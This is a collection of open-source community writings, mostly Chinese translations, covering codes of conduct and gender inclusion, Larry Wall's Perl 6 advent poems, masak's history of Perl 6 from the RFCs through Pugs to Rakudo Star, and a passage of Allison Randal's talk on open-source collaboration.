What's missing in this picture is, of course, the various destinies that each of us wish upon ourselves. We encounter social pressure whenever we happen to contradict one of the expected roles.
We can fix this problem by adopting the vision: That Biology should not determine Destiny. In practical terms, it is helpful to re-introduce the concepts of "scripts" and "programs", this time from the field of social studies.
Larry Wall said this in his 2007 talk on scripting languages: "Suppose you went back to Ada Lovelace and asked her the difference between a script and a program. She'd probably look at you funny, then say something like: 'Well, a script is what you give the actors, but a program is what you give the audience.' That Ada was one sharp lady..."
Here we see social "scripts" are actions expected of people to act according to their roles. In contrast, a "program" informs participants what to expect from the social "norm", but does not dictate people's behaviors the way scripts do.
As a concrete example, when I began my IT career as the webmaster of a small publishing house "The Informationist" in 1994, I worked both online via a BBS and in the office. Many of our staffs were openly LGBTQ and LGBTQ-supporting; it was a safe space for me to explore my gender expressions.
The press turned into a software company named "Inforian" in 1995, when I became its CTO, and started participating in the global Free Software community. While Taiwan's software sector at that time was generally gender-balanced, it shocked me to find that male-dominant scripts were prevalent in online Free Software communities.
After a while, I learned that many women on forums and chatrooms used male-sounding nicknames, not because it was their preferred gender expression, but as a protection against harassment. This was obviously a problem.
In 1998, the Open Source movement started and I helped run a few startups in the Silicon Valley, China, and Taiwan. As I started attending conferences and giving talks, I couldn't help but notice the lack of variety in gender expressions and in ethnic distribution.
For example, I heard the question "are you here with your boyfriend?" asked many times in these conferences, but not once "are you here with your girlfriend?" or "are you here with your partner?" — it was clearly a social script to make the recipient feel identified as an "other" — an outsider instead of a participant in the space.
After I returned to Taiwan to work on local open culture communities, I started consciously using the feminine pronoun in all my Chinese online writings, in an attempt to turn around the language's "othering" aspect.
When we started organizing our own conferences in 2003, I also took efforts to invite only the most socially compassionate speakers from abroad, who helped establish a more relaxed atmosphere where people can enjoy a safe space.
However, as Open Source gained commercial popularity, sexualized practices of IT industries' trade shows started to affect our conferences as well. One of these practices is promotional models, hired to drive interests to a vendor's booth; another is offensive imagery in conference contents, including from prominent speakers in both Free Software and Open Source communities.
In 2009, Skud, a long-time fellow hacker in the Perl community, started to speak widely at conferences on this subject. She created "Geek Feminism", a wiki-and-blog platform to list the issues and work together to improve them.
After a year's work, participants in the wiki created a "Code of Conduct" template, a social "program" that sets the expected norms. Valerie Aurora and Mary Gardiner, two Geek Feminism contributors from the Linux community, co-founded the Ada Initiative in 2011, so they can work full-time to support women in open technology and culture.
With help from many contributors, the Ada Initiative worked with over 100 conference organizers to adopt the code of conduct program. I'm very glad to see the upcoming "Rails Girls Summer of Code" event among the list of adopters.
There are three main elements of such a program:
Together, they ensure a space where people can be aware of their own social scripts and their effects on each other and refactor them into a more sustainable community with openness and variety as a coherent vision.
There are many more activities from the Ada Initiative, and we have a list of resources and communities on the Geek Feminism wiki, which I'd like to invite you to visit.
To me, the most enlightening bit is perhaps not in the code itself, but in its programming — the fine-tuning of a conduct that fits best with the local culture.
When we create a safe space for a community's participants, to observe and decide our own social scripts, we can collectively program a social norm that is both rigorous and creative — just like the best formulas, poems, and programs.
In conclusion, I'd like to share two poetic fragments of mine with you:
I would like to know you
not by your types,
classes or roles —
— but by your values.
...and:
Saying "Life is what we make it to be",
is like saying "Language is what we make it to be" —
True, but not at once;
— just one bit at a time.
Thank you.
(這是 Day 24 – Advent Ventures 的中譯,作者是 Larry Wall。)
人類歷險百萬年到了今夕,
平安夜裡且讓時間暫停,
我們充滿疑問的冒險
再次等待答案的降臨。
我們到了嗎?
粘菌奮鬥十億年到了矽晶,
幸好(大致上)已忘卻不幸的往昔
以及無情天擇留下的血痕,
我們再次銘記未來的回憶。
我們到了嗎?
這個月是 Perl 降臨以來的第 26 年,
(包括 13 歲的天才小妹)
我們的小家庭一次用 24 個故事,
慶祝回家路上的種種勝利。
我們到了嗎?爹地,我們到那兒了嗎?
我們跟隨先聖,雖然徘徊但從未迷失:
我們跟隨亞伯拉罕,尋找尚未出現的城市;
我們跟隨神行客,守護將重新分配未來的哈比人;
我們跟隨法師和巫士、學者和探險家、聖人和科學家。
我在星空下漫步尋思……我是否已經迷失……
無論智者或哈比人,我們總在黑暗裡啟程,
摸索前行,迎向新鮮空氣、一絲希望,
經過怪獸和深淵,追尋封印的encapsulated星光,
找到那片樂土,讓疲憊者得以休息,讓悲傷者得以療養。
等等,你們什麼意思,我不能去?——甘道夫
我們所有人都必須在沙漠裡徘徊四十年,
埋葬酸民naysayers和鹼民yaysayers的屍骨,
讓他們的孩子有一天能跨過約旦河
進入滿是牛奶、蜂蜜和漂亮手機的新天地!
等等,你們什麼意思,我不能去?——摩西
我們把古老傳說帶進未來,
在雜沓的路途上吟誦,
背包裡裝滿史詩,口袋裡塞滿故事,
把自己的軼事傳聞留在身後。
有些好故事你還沒聽過呢。
所以孩子們,除了古老的傳說,也要收拾新的工具,
輕巧而強大的工具能幫助你們,也能幫助你們來幫助我們。
最輕巧的工具、最強大的工具,就是思想ideas,
一定要多收拾一些。我會在這裡等。
我在這兒。就是說我還沒到那兒。快!
挑選一些好朋友,也讓一些好朋友挑選你。
輪流耐心等待、急速奔走,
懷著希望前進、或絕望地爬行,
再次不屈不撓地站起來。或稀裡糊塗地,這也行。
有時你是故事的主角,但並非隨時都是。
相信你的旅程,為你帶來新的同伴;
相信新的同伴,為你帶來旅程的所需;
準備好面對永遠的邂逅,與暫時的告別。
(沒人能為暫時的邂逅、永遠的告別做好準備。)
我還不確定我是否想抵達那裡。
感謝旅途賜給你今日的夥伴,人生本就是苦樂參半。
欣賞悲欣交集的歌曲、酸甜交織的啤酒。
享受戰鬥的痛楚、擁抱的甘美。
對了,還有,享受因此得到的瘀傷,但別傷得太重。
為你還沒有抵達那裡而慶幸。
歡迎我的朋友們來這裡,我們還沒有到那裡。
歡迎來到這個家族,量子疊加quantum superposition出無數歡樂、悲傷和憧憬。
歡迎和我們一起不斷努力,盜取更多普羅米修斯之火。
這火燒得真快,卻永遠填不滿生命的篝火坑。
我們更暖和了嗎?
他們說:給人一把火……
先等一下,有個即時新聞……
這真是胡扯:天火現在自由開源了⁈ 好吧,呃……
部落客bloggers聽到雲端天使彈出視窗、放聲歡唱?
嗯……最好看看新聞小幫手do some fact checking……稍等一下……等等等等tum tiddly tum……
連線品質真是混帳……快收到了……
嘿,你知道嗎⁈ 物理學家琢磨出來了。
整個宇宙剛剛順利編譯完成……
現在,他們正在找人對這玩意兒進行偵錯;
嘿,我知道,我只要用 Perl 6 測試套件就行了。
【……現在你有成千上萬的問題……】
你說什麼?
(大聲)健全測試sanity test #1 合格了嗎?結果如何?
前路漫漫而修遠,
穿越河流與森林,
你走陽關道,我走獨木橋,
我們都在通往應許樂土的路上。
【TimToady 得到賜福,開始指揮 Perl 朝聖者的合唱。】
我們向錫安山進發,
美麗動人的錫安山,
我們要登上錫安山,美啊——
你不能去那裡。
等等,你們什麼意思,我不能去?
錯誤修正 #1:殺掉所有的蹩腳詩人。
噢……胡扯……
(This is a translation of masak++'s excellent Perl 6 anniversary post, part 2 of 5.)
(這是 masak++ 為慶祝“樂土專案”即將正式發行所寫的紀念文章的中譯。)
也許你聽說過 Perl 6 最初的「徵求建議(RFC)」過程 。當時 Perl 6 才剛開始,連 Larry Wall 都還不知道要朝哪個方向發展。
於是,Perl 社群建了一套系統,公開徵求對語言功能的建議。
系統上線時,團隊原本估計會收到大約 20~30 份建議書。
結果,總共收到了 361 份!
建議書不只是數量多,而且涵蓋的範圍五花八門,甚至互相衝突。大部份的建議只考慮到一個面向,完全沒有考慮到它會對整體語言造成什麼影響。
如果當時我們竟然把所有建議都實作出來的話,結果也許會像這頭著名的 Perl 6 大怪獸一樣吧。
除此之外,社群對建議書的後續討論裡,往往缺乏「如何實作」的細節。Mark-Jason Dominus 對 Perl 6 RFC 過程的評論如下:
於是「誰來幫貓掛鈴鐺」的問題就出現了。人們提出各種各樣的功能,然後不停討論細節,但其實這些功能根本沒辦法實現。 [...]
這讓討論失去焦點,難以集中到實際可行的權衡取捨上。[...]
最後,就我個人而言,我覺得這種「不求甚解」的態度相當惱人。它讓很多實際瞭解 Perl 內部細節的人不想參與討論。
最後還是 Larry Wall 獨力接下了整合 RFC 的重任,將它們融會貫通成完整的構思。他發佈的文件統稱「啟示錄」,對 RFC 分門別類、逐項點評:有的獲得採納,有的部份保留,也有些遭到駁回。
啟示錄的編號,依照駱駝書的章節順序排列:舉例來說,和第三章「算符」相對應的「啟示錄三」,講的就是 Perl 6 裡該具備哪些算符。
以下是所有已發佈的啟示錄:
2001 ~ 2004 這三年,可說是 Perl 6 從眾人的意見中逐漸淬煉成形的階段。
與「啟示錄」同時發佈的,還有由 Perl 6 的主要設計者之一 Damian Conway 撰寫的「注疏」。
「啟示錄」注重的是語言的藍圖,以及功能的去留與否。「注疏」則負責展示如何使用新的功能,並對 Perl 5 程式員解釋 Perl 6 提供了哪些改進。
此刻我重讀「注疏」,覺得特別有趣的是當年「Perl 6 只是 Perl 5 的新分支」這個想法。當時的 Perl 6 已經作出許多細部的改進,但是 Damian 在「注疏二」裡,介紹完一長段 Perl 6 程式後,仍然如此敘述:
…事實上,這支程式總共 1779 字,和 Perl 5 的版本之間只差 40 個字。而且幾乎都只是把陣列取值從 $x[…] 改成 @x[…] 而已。不用靠 p52p6 自動翻譯,就有 98% 的相容性… 還不賴!
這個想法如今已然不再。如果你到 #perl6 頻道上問「Perl 6 和 Perl 5 像不像?」我們會這樣回答:雖然這兩種語言的基本概念和目的相以,但是語法卻大有不同。所以,最好把 Perl 6 當作新的語言來學,而不是用寫 Perl 5 的角度來思考。
在 2004 年,Perl 6 團隊對啟示錄作出摘要,去除闡釋的段落,發佈成足以作為語言規格的幾篇「綱要」,以供實作團隊參考。「綱要」雖然言簡意賅,但對於想深入瞭解 Perl 6 語言的人來說,仍然是不可或缺的一批文件。
作為 Perl 6 語言的定義,「綱要」一直持續更新至今。在 perlcabal.org 上,目前共有 33 篇綱要。其中的 S02 ~ S06 已經相當穩定,偶爾有些小幅更動。其餘部份則仍然處於草案階段,有待實作者及使用者的後續回饋,來讓它們更臻完善。
與此同時,許多實作 Perl 6 的計劃紛紛出現,但最終都以放棄收場。
早在擲杯事件和 RFC 之前,Chip Salzenberg 就用 C++ 開始進行「Topaz」計劃,並準備將它發展成 Perl 6。Topaz 原本打算重寫 Perl 5 的內部結構,但卻難以為繼。
當我問 Larry 為何 Topaz 會失敗時,他的回答是:「重新實作過的瘋狂,依然還是瘋狂。」(意思是:「不要試圖把 Perl 5 的核心改裝成 Perl 6。」)
此外還有「Sapphire」專案,只持續了一個星期。它開始於 2000 年 9 月,當時 Perl 6 才剛宣佈不久。Sapphire 也採取了「重寫 Perl 5 核心」的規劃,作為 Perl 6 正式實作前的預習。
不久之後,Parrot 專案開始發展。它是一個專為動態語言設計的虛擬機器,特別適合執行動態程度極高的 Perl 6 所需。
同時開始的還有 Ponie 專案,試圖將 Perl 5 硬生生移植到 Parrot 上運行。正如這篇文章所述,Ponie 因為巴士數太低,以及當時 Parrot 還不夠成熟的緣故,最終在 2006 內正式解散。
當時我是一介旁觀者,只知道有 Parrot,沒聽過其他專案,更不知道 Parrot 上曾經出現過的 Perl 6 實作。
我認真讀完了每篇「啟示錄」和「注疏」,覺得它們很有意思。
可然後呢?這個程式語言有一天能成真嗎?沒人曉得。似乎沒有什麼激動人心的事情發生。
在 2005 年初,有位唐某人在 perl6-all 通信論壇上貼了一段短訊,說自己正在實作一小部份「不產生副作用運算的 Perl 6」。(請留意這篇郵件的口氣,和 Linus Torvalds 著名的那篇「不像 GNU 那麼大規模」聲明的相似程度。)
不知不覺間,這「一小部份」已經成長為完整的 Perl 6 實作,它的名字叫作 Pugs。
我還記得初次踏入 #perl6 頻道的感覺。
有人真的拿「綱要」來實作,這已經夠驚人了。而唐鳳又是個極富生產力的黑客,像磁鐵一般,以前所未見的速度吸引眾人投入開發。
待在 #perl6 頻道上,就像是站在颱風眼附近;事情像奇蹟般陸續發生,無論是因為唐鳳又完成了一組更動,或是旁邊又有人開始了某個很酷的專案。有趣的想法和點子,日夜不停湧入頻道當中。
而我們所有人都真的在跑(早期的)Perl 6!算符、副程式、類型、多載... 一個接著一個,我們期待以久的功能陸續開始運作。
很快,我們就寫出了在頻道上即時運行 Perl 6 代碼的機器人。
無論是誰,只要一提出改進 Perl 6 的想法,唐鳳就送他一個提交權。這招還真管用!數以百計的人獲得了提交權,卻完全沒有像圍紀系統上常見的破壞行為出現。許多人踴躍加入,主動做出貢獻。
當時我們的口號是「信任安那其」,現在回想起來仍然很聳動。
唐鳳興高采烈地站在漩渦中心,引導大家發展各式相關計劃,幾乎每天都邊寫網誌,邊提交出鉅量的代碼,為逐漸成形的 Perl 6 社群注入活力。
Pugs 是用 Haskell 寫成的,因此早期 #perl6 的文化深受 Haskell 文化的影響。
Pugs 黑客團隊的綽號是「浪達駱駝(Lambdacamels)」;頻道上大量出現資訊科學類的的論文、關於 Haskell 的書藉,以及其他編程相關的深奧論著。這些參考書目今天仍然可以在 Pugs 的 READTHEM 文件裡看到。
頻道上的幽默相當機智,主題往往也和電腦有關。
<audreyt> Alias_:我的眼鏡是 style="border: none" <Alias_> 無所謂 <Alias_> 人眼的感光邊界會自動加上 border: solid 1px #9999 <audreyt> 說得對 <audreyt> 不過以我的視力來說,更像是 ridged * audreyt 望著頻道上的高度技客傾向嘆氣 ... <audreyt> 這顯然要 blame malaire++ <audreyt> 我的意思是 praise <audreyt> 不然說 annotate 好了
頻道上主要的感嘆詞是「讚!(woot!)」。主要說「讚!」的人是唐鳳。業力(Karma)取代了貨幣,由機器人在頻道上統計,並在即時公佈提交訊息時,一併幫提交者加分。
我要說明一點:當時在 #perl6 上,我只是個粉絲。我對 Pugs 沒有作出什麼重大貢獻,對「綱要」和語言設計也沒有幫上什麼忙。至於在頻道上搞笑嘛,我倒是不遺餘力。:-)
2005 年 3 月,我的傻言傻語換來了一份提交權:
<autrijus> 歡迎上船! <masak> 謝謝。因為 Pugs 的關係,我幾乎整晚沒睡。:-) <autrijus> 開心嗎? <masak> 太興奮了 <autrijus> 這感覺我懂 :)))
唐鳳保持著很高的開發速度,頻道上經常出現關於他生產力的玩笑:
<autrijus> 待會見 - 洗澡去 & <geoffb> 所以說唐鳳在浴室連 IRC 的謠言不是真的嘍... <geoffb> 也許他把筆記型電腦放在浴簾外,邊洗邊看螢幕。 <autrijus> 沒錯。 <autrijus> 通常是這樣。 <autrijus> 我都拿牙刷按鍵盤,以免鍵盤進水。 <geoffb> *大笑* ... <Juerd> 每本講 Perl 6 的書都太舊了。 <Juerd> 它們送印後兩小時就過時了。 <Juerd> 等它們進到書店,已經過期一個月了。 <Juerd> 等你買到書準備看時,autrijus 已經把 Perl 6 實作出來了。:) <mauke> 在睡夢裡實作的! <castaway> autrijus 會睡覺? <nothingmuch> castaway: 有時候他宣稱自己去睡了。 * castaway 完全不信 <mauke> 也許他和電腦之間有神經界面,讓他在夢裡寫程式。 <castaway> 這我一點都不意外 :) <Juerd> castaway: 嗯,有時後他說要去睡,可是沒幾個小時後 就出現了一大份提交。所以我才不信呢。:) <castaway> 嘻嘻 <castaway> 據我看來,他每次最多只睡 30 分鐘。 <Juerd> 我想他有超線程功能。
唐鳳曾經說過:「人們以為我是了不起的程序員,但其實是 Haskell 和 Parsec(Haskell 的剖析結合函式庫)太強大了。」不過,這並沒有讓人們停止議論他的產能。
2006 年的某一天,Larry Wall 加入了 #perl6 頻道。他再也沒有離開過。
<avar> ?eval <物美 迅速 價廉>.pick(2) <evalbot_r16148>("物美", "價廉") <TimToady> 這是在說我們沒錯...
不過,我們確實失去了唐鳳。在他進入跨性別旅程後,產量雖然有增無減,但在 2007 年一次艱難的重構任務中,唐鳳突然爆發急性肝炎,於是離開了頻道,再也沒有回來。
Pugs 中斷開發。在唐鳳離開後,頻道頓時安靜了許多。
Pugs 還在,但已不再更新,也還沒完全達成對 Perl 6 規格的實作。社群裡的成員都在,但核心人物卻消失了。
當時我不知道未來會如何,只好盼望有更多像 Pugs 一樣的計劃出現。
(唐鳳沒有回頻道的原因,直到兩年之後才在他的一篇網誌裡揭曉。)
Pugs 帶來了決定性的變化。隨著唐鳳的「非官方」Perl 6 實作完成度愈來愈高,不少人也開始發展自己的「小規模」實作。
從 2005 年到今天,有十來個「小規模」實作陸續出現,其中不少到現在仍在持續開發。其中有些是為了探索 Perl 6 某部份的設計,也有的是想要實作出整個語言。
(我稱它們為「小規模」,是因為開發者人數較少,使用者也不多的緣故。)
從 Pugs 登場到離場的這兩年多裡,在 Parrot 上實作 Perl 6 的腳步並未稍停。但因為當時 Parrot 還不夠成熟,想要慢慢搭建起編譯器所需的工具鏈,勢必得花上許多時間。
早在 2005 年時,Patrick Michaud 就已著手在 Parrot 上實作文法引擎(PGE)及編譯器工具集(PCT)。到了 2007 年,Patrick 終於得以開始正式實作 Perl 6;這個計劃在 2008 年初命名為 Rakudo(樂土)。
老實說,我是在它取名為「樂土」之後,纔注意到這個計劃的。
Patrick 的願景是這樣的:一個完整的 Perl 6 實作,首先需要有良好的 Perl 6 文法引擎,以及完善的的編譯器工具鏈作為基礎。在完成這兩項計劃之後,Patrick 才轉而開發實際的 Perl 6 編譯器和執行環境。
當時,一位名叫 Jonathan Worthington 的強人不慎答應 Patrick,要在 Rakudo 上實作 Junction(連接值)功能。(後來他纔發現,要實作連接值,得先實作多重分派,而這又得先實作型別系統,所以又得先完成大部份的物件導向系統... XD)
於是在 2008 上半年,Patrick 和 Jonathan 齊心協力,為 Rakudo 寫出了一個接一個的功能。
雖然 Rakudo 並不像唐鳳開發 Pugs 時那樣輕鬆寫意,而且早期版本實作的功能通常漏洞百出,但它確實讓 Perl 6 社群再度活躍起來。
在相對完整但發展停滯的 Pugs 計劃,與緩慢但穩定地追上 Pugs 的 Rakudo 計劃之間,我逐漸把注意力轉向後者。
2008 年的夏天過得很快;我和 viklund 合作,用當時還乳臭未乾的 Rakudo 寫一套圍紀引擎(純粹為了好玩而已)。
我們對自己說,如果竟然能寫出來,那我們就到 YAPC::EU 會議上,以它為主題來一場閃電演講。
嗯,最後我們真的寫出來了,也真的到 YAPC::EU 講了一場。與會者聽到有人能用 Perl 6 寫網站程式,反應十分熱烈,我們也很開心。
可是,中間我們繞了多大的彎,避開了多少還沒實作的功能,又發現了多少瑕疵啊!
而且,既然這是個秘密計劃,我們就不能在 #perl6 上直接貼出有問題的程式。要回報瑕疵之前,我們得先把代碼清理到看不出和圍紀有任何關係纔行。在那段時間裡,我學會了在瑕疵回報上打高爾夫(Golfing,壓縮字數)的價值。
那年夏天,我提交了許多瑕疵回報,每份的代碼都清理過了。就像小孩子收集瓶蓋一樣,我開始熱衷於此。
當時 Rakudo 的瑕疵不少。有一陣子,瑕疵似乎無所不在。這不能怪 Patrick 和 Jonathan;他們一直都很盡責。但任何專案都要經歷實地運用的考驗,而 viklund 和我恰好是首先拿 Rakudo 來用的人。
實地測試和回報瑕疵成了我的嗜好,驅使我不斷重複著「拿 Rakudo 做些新鮮事」、「看 Rakudo 爆炸」、「寫瑕疵報告」的無盡迴圈。
能脫離粉絲階段,正式參與開發,這讓我非常高興。日後我寫了更多 Perl 6 代碼,甚至還拿到了 Rakudo 的提交權... 但我想我會一直當那個「專門提瑕疵報告的傢伙」吧。
目前頻道上的幽默以大笑貓(lolcat)、奇特的顏文字,以及其他時下的網路流行語彙為主。頻道上的氛圍輕鬆有趣;大笑貓和編譯器內核開發的對比,時常令人耳目一新。
<pmichaud> 早安, #perl6 <jnthn> 早, pmichaud <PerlJam> pm 你好 <colomon> o/ <mathw> o/ pmichaud <moritz_> /o/ <mathw> \o\ <jnthn> \o/ |\o/| o< /o\ <jnthn> ;-) <mathw> 啊啊啊啊 * mathw 躲起來 <okeCay> o/\o !
隨著 Rakudo 漸趨成熟,「綱要」也隨之作出修訂。也許有人覺得這很可怕。要怎樣去學一門不斷變化的語言呢?為什麼不讓規範文件確定下來呢?
我個人的想法是:我不希望語言規範被「鎖定」或「凍結」住,因為目前的修訂已經愈來愈小,大都是為了修正 Rakudo 等實作回報出的問題。
雖然 Perl 6 的規格改動幅度超過我所知的其他語言,但另一方面,它也一天天變得更加穩定。我們稱它為「漩渦式開發模型」,實作和規範雖然相互影響,但最終仍是往同一個單點收歛。
相對於某些 IRC 頻道的粗暴文化,#perl6 可說是網路上最親切的地方之一。我們花非常多的時間回答新手的問題、幫忙修正語法錯誤、並為訪客和開發團隊釐清各式術語及設計方針。我們互相幫忙看代碼和網誌文章,讓頻道上洋溢著彼此尊重和互相照顧的感覺。
今天的 #perl6 幾乎是「日不落頻道」,擁有來自全球各地的人積極參與。我們不僅覺得這裡有個非常酷、足以向世界展示的語言,也很自豪於 Perl 6 文化的良好素質。
2008 年以來,Rakudo 逐漸領先其他實作,完成度甚至超越了 Pugs。目前絕大多數的算符和控制結構都已完工,更有強大的正規表示式與文法引擎(感謝 Patrick!)以及優秀的物件導向、多重分派支援(感謝 Jonathan!),許多其他功能也已充份實作。
我們還有許多「小規模」的 Perl 6 實作,幫忙推動「綱要」發展和探索實作策略。但投注於 Rakudo 開發的人力,確實遠大於其他實作。Rakudo 每月釋出新版的工作人員名單,通常都在二三十人以上。
重新回到「Perl 6 每天都更近一些」的日子真好。
我仍然每天回報一則 Rakudo 的瑕疵,但通常是關於尚未實作的進階語言特性,而不是缺少什麼常用的功能。
2009 年至今,Rakudo 成功完成了幾項龐大的重構任務。首先是文法系統,隨後其他各元件也都分別重新寫過。
對開發者來說,這些小計劃統合成了所謂的「Rakudo 大重構」。
對於外界來說,這就是即將正式發表的 Rakudo Star,「樂土之星」。
我們正在寫這段歷史。
七月二十九日,Rakudo 團隊正式釋出「樂土之星(Rakudo Star)」,也是 Rakudo Perl 計劃的第一個正式發行版本。(請按此處下載。)
在我看來,這個時機真是恰當極了。
在 Jon Orwant 擲杯之後的十年,Perl 6 團隊向全世界說:「這是我們的作品。幾年來我們孜孜不倦,對它切磋琢磨,如今它已曖曖含光、足堪重任。請試試看,用它來做些有趣的事吧!」
這些年來,從瓷杯創生的 Perl 6 專案,讓包括筆者在內的許多人興奮不已。
現在是讓更多人加入的時候了。
我們在此誠摰地邀請您,一同踏入這片樂土。
(這是 Day 24 – Yule the Ancient Troll-tide Carol 的中譯,作者是 Larry Wall。)
(感謝康寧馨斧正譯文。)
你在耶誕夜拆開禮物,發現了一面鏡子,裡頭可以看到自己。
鏡面上刻鑄一行聲明:
鏡子裡的主體,實際上比看起來近。
但它一點兒也不像汽車後視鏡。看來雖然脆弱,可結實得很,兩歲的你再怎麼費勁,也弄不破它。
「啥?鏡子裡怎麼會出現以前的我?」
你把鏡子扳來扳去,裡面不祇出現了你過去的尷尬身影,還有你未來可能成為的模樣,好的壞的都有。
「哇!」
突然一陣五內翻騰,天旋地轉後,你看著鏡子,但,不是從外頭看著鏡面,而是從鏡子裡朝外看:除了你的各個倒影之外,還出現了許多人,從鏡外看著你。你是他們過去或未來的模樣。
顯然,出於一場意外,你被吸進了超維鏡裡——現在你是 Perl 6 社群的一員了。
我們(包括你)獻給你(包括我們)的禮物,就是我們夢想中自己的模樣。
換句話說,你被黑克了!甚至,是被博格了!不過,也許你會試著喜歡這件事。
Perl 不祇是技術,也是一種文化:Perl 是一套鼓勵技術黑克的技術,也是一種鼓勵文化黑克的文化。
Perl 歷史上的第一個黑克,就是「捐出實作程式,交由社群維護」。之後還有許多別的黑克,大的小的都有。其中有些黑克也出現在你持有的鏡子裡。呃,我是說持有你的鏡子裡。
第二個文化大黑克則顛覆了 Unix 文化裡的還原論思想,讓它也能適用在還原論之外的情況。
「採用雙重授權」是第三個文化黑克,讓企業和 FSF 都能接受 Perl。
還有個眾所周知的黑克:寫一本電腦書,讓它不僅有料,而且還很有趣!
但這些不過是粗淺的黑克而已。Perl 文化的深層黑克,是讓社群能夠自我引導,自己黑克自己,遞迴建構、日新又新。(通常,是往好的方向走。)
Perl 6 也延續了「Positive Trolling」的優良傳統。在古英語裡,Troll 的意思是「歡唱」,好比說「Troll the ancient yuletide carol」。我們的「Perl 6 耶誕倒數」活動,正是這類歡唱的好例子。(它也是遞迴式社群自我建構的模範之一。)
還有許多別的例子。
好比說,打開 perl6.org 的首頁,立刻就能看到幾項文化黑克。最醒目的,自然是我們的蝴蝶標誌「Camelia」。
她透過圖象和文字,來為文化黑克發聲。圖象在說:
從反面來說:
我們發現 Camelia 是很有用的文化黑克:從它挑起的情緒反應,我們可以辨認出想偷走耶誕節的搗蛋鬼是哪些人。
凡是社群,都有新加入的成員,其中難免有些人態度惡劣。像 Camelia 這樣鮮明的攻擊目標,往往讓這些人忍不住做出一些白目的行為,就像是在說:「嗨,我是小白。擁抱我吧。」
這裡可以看到 Perl 6 社群的另一項文化黑克:我們擁抱小白。(在某個限度以內。)
Camelia 用文字說得很清楚:「要想加入我們社群,你必須有能力善待各種不同的人。」小白也是人,所以我們都有善待小白的能力。(如果我們對某位小白不好,那是因為我們決定要對他不好,不是因為我們無能。)
我們社群裡有些成員,當年也曾經是小白出身。就像先前提到的那面超維鏡一樣,我們在結伴同行的生命旅程裡,都從彼此身上看到自己的影子。
我們大多希望未來能成為更好的人,也願意承認自己過去的種種缺失。但世界上仍有不少還沒立志向善的人,包括許多小白在內。有些小白確實心術不正,有些只是還沒學到怎樣與人好好相處而已。
因此,當我們說「擁抱小白」時,在操作上的意思是這樣的:當你加入我們的社群時,我們並不介意你當下的狀態有多麼白目。我們在意的,是你的一階和二階導數。
為了讓我們有時間來做差分,我們通常會借力使力、施展語言合氣道,使你有機會表達出更深層的渴望,而你或許只覺得是在折磨我們而已。
如果你立身不正,但願意積極向上,我們一定留住你,直到你改過遷善為止。你想當個好人。我們會幫助你。
如果你立身不正,也不願積極向上,那我們會看看你有沒有逐漸改善的跡象,也就是你的加速度是否為正。你還不想變成好人,但或許你會想變成「想變成好人」的人。這我們可能也幫得上忙。只要保持正向加速度,最後,速度和位置總是會跟上的。
總之,社群裡確實有搗蛋鬼,但有些搗蛋鬼是會懺悔的。我們想給他們一個機會。因此,有時候當搗蛋鬼來偷禮物時,我們只是站在一旁唱歌。
但是,有些搗蛋鬼就是死不悔改。
我們有沒有提醒過你,Camelia 的翅膀展開有三米長,而且她喜歡抓住死不悔改的搗蛋鬼、吸出他們的腦漿?不僅如此,幼蟲期的 Camelia 是隻駱駝,所以,她也會噴口水。你絕對、絕對不會想要嘗到被 Camelia 吸出腦漿,再噴出腦漿的滋味。
話說回來,大多數人的腦子並不需要吸或噴,只需要好好洗洗。
人們一旦領略了 Perl 的元哲學,便會發現,探索技術和文化的融合是一場多麼華麗的冒險。相形之下,惹人討厭的搗蛋行徑簡直是無聊透了,也簡單透了。
我們希望你喜歡這面新的超維鏡,也希望你喜歡曾享用過(或即將享用)的這二十四篇文章。
祝你有個璀璨的倒數,加入我們華麗的冒險。
(這是 Allison Randal 在 OSDC.tw 的演講中譯本。請參見原文及錄影。)
這幾年來,我慢慢覺得,我們參與開源社群,就像是在一條道路上並肩而行:這不僅讓我們成為更好的程式設計者,也讓我們通過與人合作,而成為更好的人。
您可以將它想成一條修行之道,讓身而為人的我們能夠不斷成長。接下來,我想談談我對開源世界的個人觀點,希望能與您分享。
首先,人是一切開源專案的核心。程式碼是很重要,但最核心的永遠是人。
人們透過各種不同的方式來參與專案:有人寫程式,有人寫文件,有人寫測試。而使用軟體的人,同樣也是專案裡不可或缺的一部分。
您的專案也許會用到別人開發的軟體,而因此接觸到上游的專案,或許偶爾也會向他們提出建議和修正。
又或許您開發的是一套程式庫或模組,提供給其他專案的人使用。此時,您就是他們的上游專案,他們也會用相同的方式來與您溝通。
所以,人們到底為什麼要做開源軟體呢?如果您想理解開源模式如何運作,這是一個很關鍵的問題。
許多人在日常工作中,可能已經常常和軟體打交道了。我們為什麼要花額外的心力,來參與開源專案呢?一部分的原因,是因為這能夠讓人迅速接觸到刺激、有趣的新鮮技術。
能夠與人分享,也是一個主因:透過與人分享,我們可以認識開源專案裡的同好,來提升彼此的樂趣。
投入開源專案的人,往往也帶著分享奉獻的精神。能夠伸出雙手幫助別人,是身而為人很重要的一部份。
除了這些內在因素,參與開源專案工作,也可以得到許多回報。其中一項,是獲得別人的敬重:當我們創造新的事物與人分享,進而吸引人們一同合作時,人們自然會認識我們的人品與才能,從而為我們自己帶來成就感。
換個角度來看,這也意味著:我們應當對於加入專案的人表示尊重,這樣人們才會願意繼續參與專案的活動。
欣賞別人的作品也很重要。當人們發表自己的作品,而您有機會與他們交流時,即使是一封簡單的電子郵件感謝函,說「您的專案對我很重要」,也足以營造出一種正向的文化,讓大家都能保有繼續創造的動力。
懂得讚美也很重要。當您介紹專案時,不要忘了讚賞您身邊的人,讓大家認識這些人是誰、做了多麼棒的貢獻,以建立社群的認同感。
之所以有那麼多人持續對開源專案保持興趣,其中一個原因是這樣的:在合力工作時,我們的能力會愈來愈強,能做的事也愈來愈多。
光用簡單的算數來想:如果我們有兩倍的人,至少就可以寫兩倍多的程式,有三倍的人就可以寫出三倍的程式。不過,我們的能力遠遠不止這些。
在一起合作時,我們可以透過彼此鼓勵,讓彼此變得更好更強大。當您看到其他人正在解決艱難的問題時,您不妨鼓勵他們,跟他們說:「你做得很好,而且我看得出來,你在未來會做得更棒。」
僅僅是透過談話和分享,您就可以為他人培力,讓對方變得更好。
還有一點就是,當許多人聚在一起的時候,每個人都有不同的能力。一起工作時,可能您知道專案需要的五樣東西,而其他人知道另外五樣東西,您們互補長短,就有了一整套技能足以完成專案,而這是單打獨鬥時做不到的事情。
所以在多人合作時,不只是生產力倍增,還可以達到互相加乘的效果。
另一件很重要的事,是鼓勵彼此放眼未來、看得更遠。我們可以給其他人靈感,幫助他們解決有意思的問題。有時,只要說「我有這個想法...」,別人就可以將它化為現實。
